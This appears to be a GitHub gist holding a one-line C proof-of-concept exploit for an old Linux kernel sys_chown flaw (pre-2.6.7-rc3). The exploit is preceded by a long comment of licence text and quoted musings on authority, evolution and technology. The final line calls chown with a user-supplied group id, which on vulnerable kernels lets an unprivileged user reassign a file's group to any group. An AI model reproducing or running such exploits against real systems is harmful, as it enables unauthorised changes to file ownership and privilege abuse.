Created
April 15, 2015 10:46
-
-
Save suqdiq/81ead8a09a77307df905 to your computer and use it in GitHub Desktop.
Linux <2.6.7-rc3 x86 sys_chown exploit (~2004)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Linux <2.6.7-rc3 x86 sys_chown flaw proof of concept | |
* by 0xd0d9 | |
* Copyright (c) 2004, fnop dot net | |
* All rights reserved. | |
* | |
* Redistribution and use in source and binary forms, with or without | |
* modification, are permitted provided that the following conditions are met: | |
* | |
* * Redistributions of source code must retain the above copyright notice, | |
* this list of conditions and the following disclaimer. | |
* * Redistributions in binary form must reproduce the above copyright notice, | |
* this list of conditions and the following disclaimer in the documentation | |
* and/or other materials provided with the distribution. | |
* * The name fnop.net may not be used to endorse or promote products derived | |
* from this software without specific prior written permission. | |
* | |
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" | |
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE | |
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE | |
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE | |
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR | |
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF | |
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS | |
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN | |
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) | |
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE | |
* POSSIBILITY OF SUCH DAMAGE. | |
* | |
* ****************************************************************************** | |
* | |
* this is educational content so let's start with some education. | |
* enjoy the selection... | |
* | |
* ****************************************************************************** | |
* | |
* Think for yourself, | |
* Question authority. | |
* | |
* Throughout human history, as our species has faced the frightening, | |
* terrorizing fact that we do not know who we are or where we are | |
* going in this ocean of chaos. It has been the authorities, the | |
* political, the religious, the education authorities who attempted to | |
* comfort us by giving us order, rules, regulations, informing, forming | |
* in our minds their view of reality. | |
* To think for yourself you must question authority and learn how to | |
* put yourself in a state of vulnerable open-mindedness, chaotic, | |
* confused vulnerability to inform yourself. | |
* | |
* Think for yourself, | |
* Question authority. | |
* | |
* Think for yourself... | |
* | |
* '' Maynard James Keenan, Timothy Leary sample | |
* | |
* ****************************************************************************** | |
* | |
* recently, at a local bar, it was brought to my attention that not all people | |
* believe in evolution. so to prove that evolution is real and people and all | |
* animals evolve i present the example of wisdom teeth. if it were not for | |
* the advances in dentistry, a larger number of people that develop wisdom teeth | |
* would die from impacted wisdom teeth (ie. they become infected, etc). | |
* thus people who did not form wisdom teeth would become a higher and | |
* higher percentage of the population. | |
* | |
* evolution. | |
* | |
* | |
* '' from uberhax0r.net | |
* | |
* ****************************************************************************** | |
* | |
* it seems ironic that man creates a machine as an extension of himself/herself | |
* in order to progress the achievements of mankind. computers have taken an | |
* odd twist over the years and the target market of most software is the | |
* bottom ten percent of the intellectual barrel. vendors that come to mind | |
* are microsoft and apple. computers, now being easy to use, can be used to | |
* ensure people don't have to think either. enter the call center. hundreds | |
* of people sitting at tiny desks with a crt aimed at their face like a shotgun | |
* ready to take their last remaining brain cells, reading scripted conversations | |
* and responses to people over the phone. answers received are carefully worded | |
* by lawyers, technical staff, and management to ensure that the armies of | |
* text regurgitation drones don't spew anything that would make the company | |
* liable and is politically sound while providing a vague answer for the | |
* statistically common problems faced by users seeking support. computers | |
* for the general populous aren't an extension of man. mankind is an extension | |
* of computers. pray that your vulcan-like masters don't crash or you might | |
* actually have to think. | |
* | |
* | |
* '' from uberhax0r.net | |
* | |
* ****************************************************************************** | |
* | |
* I think yeah, development has pushed us away from other people. | |
* You know, a lot of times people are rude because they want like immediate | |
* access or immediate information. | |
* You know some things in life can't be immediate, sometimes you gotta wait | |
* and let things happen. People are like increasingly rude. Like I'll say | |
* someone will get in a cab, we'll say ";I'll get em there in 5 minutes."; | |
* And they'll say, ";It should only take 3."; | |
* Now who gives a shit if it takes 5 minutes or 3 minutes, who cares? | |
* At the end of your life nobody's gonna put shit I got in a cab in | |
* five-seven minutes instead of three. | |
* It doesn't matter! | |
* Technology has made us slaves of the time. | |
* A lot of people that are really have technical jobs they're slaves to time. | |
* Time's the essences of life it seems like. And they're basically like losing | |
* it, they're losing the essence of their life because, you know, their life | |
* is like just going away and, they're not enjoying it because their so | |
* engrossed in efficiency and productivity and shit like that. | |
* It's almost sad. | |
* | |
* | |
* '' in street guru (part 1), by Nitin Sawhney | |
* | |
* ****************************************************************************** | |
* | |
* I think there's going to be a backlash against technology. | |
* You know, I don't know what's gonna cause it, I hope it won't be any | |
* environmental disaster shit, you know, for sure for my kids that wanna live | |
* a better life. Not so much materially but I want a peaceful life. | |
* You know sometimes it's good just to go in the woods and just go hiking and | |
* get back in touch with yourself and nature. You know, then you come back here | |
* and you realize that this is like, ludicrous, all this emphasis on technology | |
* and 50 different internet devices and shit and internet devices you can put | |
* in your pocket. Sometimes I feel threatened by it but you know, that's the | |
* future and I am a man of the past. | |
* You know, I'm a low-tech man in a high-tech world. I mean it's fact man. | |
* I'm a low-tech man in a high-tech world there ain't shit I can do about it | |
* because, you know, the world's changing and I'm not and you know, maybe | |
* I don't wanna change. | |
* Maybe the people I associate with are like me. | |
* You know, what's going on we can't use our brains?! | |
* It's being a person.. | |
* You know it's being a fucking person man... | |
* | |
* | |
* '' in street guru (part 2), by Nitin Sawhney | |
* | |
* ****************************************************************************** | |
* | |
* | |
* enough said, let's dance. | |
*/ | |
int main(int argc,char **argv){return chown(argv[1],-1,atoi(argv[2]));} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment